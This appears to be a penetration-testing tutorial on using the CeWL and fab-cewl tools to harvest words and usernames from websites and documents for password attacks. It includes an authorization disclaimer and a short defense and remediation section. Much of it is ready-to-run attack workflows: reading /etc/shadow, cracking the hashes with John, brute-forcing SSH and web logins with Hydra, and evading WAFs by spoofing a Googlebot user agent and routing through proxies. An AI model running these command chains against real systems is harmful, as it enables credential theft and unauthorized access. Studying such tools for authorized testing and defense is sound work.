CEWL (Custom Word List generator) is an advanced reconnaissance tool that spiders websites to extract contextually relevant words — company names, product codenames, employee jargon, project titles — to generate highly targeted wordlists. Unlike generic lists (e.g., rockyou.txt), CEWL lists dramatically increase password cracking success rates by aligning with the target’s linguistic fingerprint.
Used in tandem with fab-cewl (Files Already Bagged), it extracts metadata from downloaded documents (PDF, DOCX, PPTX) to harvest potential usernames, authors, and internal identifiers — turning OSINT into actionable attack vectors.
CEWL performs active web crawling and metadata scraping. Unauthorized use violates CFAA, GDPR, Computer Misuse Act, and website ToS. Always obtain explicit, written authorization. Use only in scoped, authorized penetration tests or isolated labs.
Installation & Verification
cewl --versionIf missing:
sudo apt update && sudo apt install cewl -yInstall FAB for metadata extraction:
sudo gem install fab-cewldvwa.local, juice-shop, or metasploitable. Never scan production sites without written permission.
Advanced Syntax & CLI Mastery
Core Command Structure
cewl [OPTIONS] TARGET_URL| Flag | Description | Pro-Level Usage |
|---|---|---|
-d 5 | Spider depth 5 | Deep crawl for large orgs |
-m 8 | Min word length 8 | Target complex password policies |
--with-numbers | Include numeric words | Crack "ProjectX2024" |
--lowercase | Normalize case | Standardize for cracking engines |
-e --email_file emails.txt | Extract emails | Build username lists |
-a --meta_file meta.txt | Extract metadata | Find hidden authors/comments |
--proxy_host 127.0.0.1 --proxy_port 8080 | Route via Burp Suite | Intercept & analyze traffic |
--auth_type basic --auth_user USER --auth_pass PASS | Auth-protected sites | Scan internal portals |
--exclude /logout --exclude /admin/logout | Exclude logout paths | Prevent session invalidation |
--user-agent "Mozilla/5.0 (X11; Linux x86_64)" | Custom UA | Evade WAF fingerprinting |
-v | Verbose mode | Debug crawl behavior |
Real-World Attack Workflows
Workflow 1: CEWL → John → SSH
# 1. Generate targeted wordlist
cewl -d 3 -m 8 --with-numbers --lowercase -w corp_words.txt https://corp-internal.com
# 2. Crack SSH hash (e.g., from /etc/shadow via prior exploit)
unshadow /etc/passwd /etc/shadow > crackme.txt
john --wordlist=corp_words.txt --format=sha512crypt crackme.txt
# 3. Use cracked creds with Hydra
hydra -l john_doe -p CrackedPass123 ssh://192.168.1.50Workflow 2: FAB → Username List → Web Form
# 1. Download PDFs from target site (wget, curl, manual)
wget -r -A.pdf https://corp.com/docs/
# 2. Extract metadata & usernames
fab-cewl -v ./docs/ > potential_users.txt
# 3. Attack login form with CEWL wordlist + FAB usernames
hydra -L potential_users.txt -P corp_words.txt http-post-form "/login:username=^USER^&password=^PASS^:Invalid" -V -f 192.168.1.60Workflow 3: Defense Evasion (WAF/IDS)
# Use randomized delay, custom UA, and proxy
cewl -d 2 -m 7 --with-numbers --lowercase \
--user-agent "Googlebot/2.1 (+http://www.google.com/bot.html)" \
--proxy_host 127.0.0.1 --proxy_port 8080 \
--delay 1 \
-w stealth_words.txt https://waf-protected.comtorify or rotate proxies for advanced evasion. Monitor logs to adjust delay and depth.
FAB: Forensic Metadata Extraction
# Install
sudo gem install fab-cewl
# Extract from single file
fab-cewl -v report.docx
# Extract from directory
fab-cewl ./downloaded_docs/ > metadata.txt
# Extract only author fields
fab-cewl -v ./docs/ | grep -i "author" > authors.txtDefense Strategies & CVSS Scoring
CVSS 4.0 Scoring for CEWL-Exploitable Weaknesses
| Metric | Value | Impact |
|---|---|---|
| Attack Vector (AV) | Network (N) | High |
| Attack Complexity (AC) | Low (L) | High |
| Privileges Required (PR) | None (N) | High |
| User Interaction (UI) | None (N) | High |
| Confidentiality (C) | High (H) | Critical |
| Integrity (I) | High (H) | Critical |
| Availability (A) | None (N) | Medium |
| Base Score | 8.6 (High) | Requires remediation |
- Metadata Scrubbing: Enforce document sanitization before external distribution (e.g., Adobe Acrobat “Remove Hidden Info”, Office “Inspect Document”).
- Web Content Minimization: Avoid publishing internal jargon, codenames, or employee names on public sites.
- Robots.txt & Rate Limiting: Block crawlers via robots.txt and implement WAF rules to throttle rapid requests.
- Password Policy Enforcement: Mandate 12+ char, multi-word passphrases not based on company terms (e.g., “PurpleElephant$Bounces42” not “ProjectX2024!”).
- Training: Educate content creators on metadata risks and wordlist generation threats.
Vulnerability: Targeted Wordlist Generation via Public Content
CVSS: 8.6 (High)
Risk: Attackers can generate highly effective wordlists from your public website and documents.
Proof: CEWL extracted 1,247 unique words ≥8 chars from https://target.com. FAB found 12 internal usernames in /docs/.
Remediation:
1. Sanitize all public documents for metadata.
2. Review web content for sensitive/internal terminology.
3. Enforce passphrase-based password policy.
4. Implement rate limiting on web servers.Conclusion & Pro Tips
CEWL transforms passive OSINT into active attack vectors. In skilled hands, it bridges the gap between reconnaissance and exploitation — turning website text and document metadata into cracked credentials. Mastery of CEWL is non-negotiable for modern red teamers and penetration testers.
- Chain with Nmap: Use
nmap -p 80,443 --script http-enumto find hidden paths before CEWL crawling. - Hybrid Wordlists: Merge CEWL output with rockyou.txt and Hashcat rules:
cat cewl.txt rockyou.txt | sort -u > hybrid.txt - Automate with Bash: Build scripts that auto-crawl, auto-crack, auto-report.
- Monitor Logs: Check target’s access.log to fine-tune depth and delay for stealth.
- Combine with TheHarvester: Use emails from TheHarvester as usernames with CEWL wordlists.
- Integrate CEWL into Burp Suite via extensions or macros.
- Use CEWL with Kerbrute for Active Directory username enumeration.
- Develop custom CEWL plugins for JavaScript-heavy SPAs (via headless browsers).
- Combine with AI (e.g., GPT) to mutate CEWL words into probable password variations.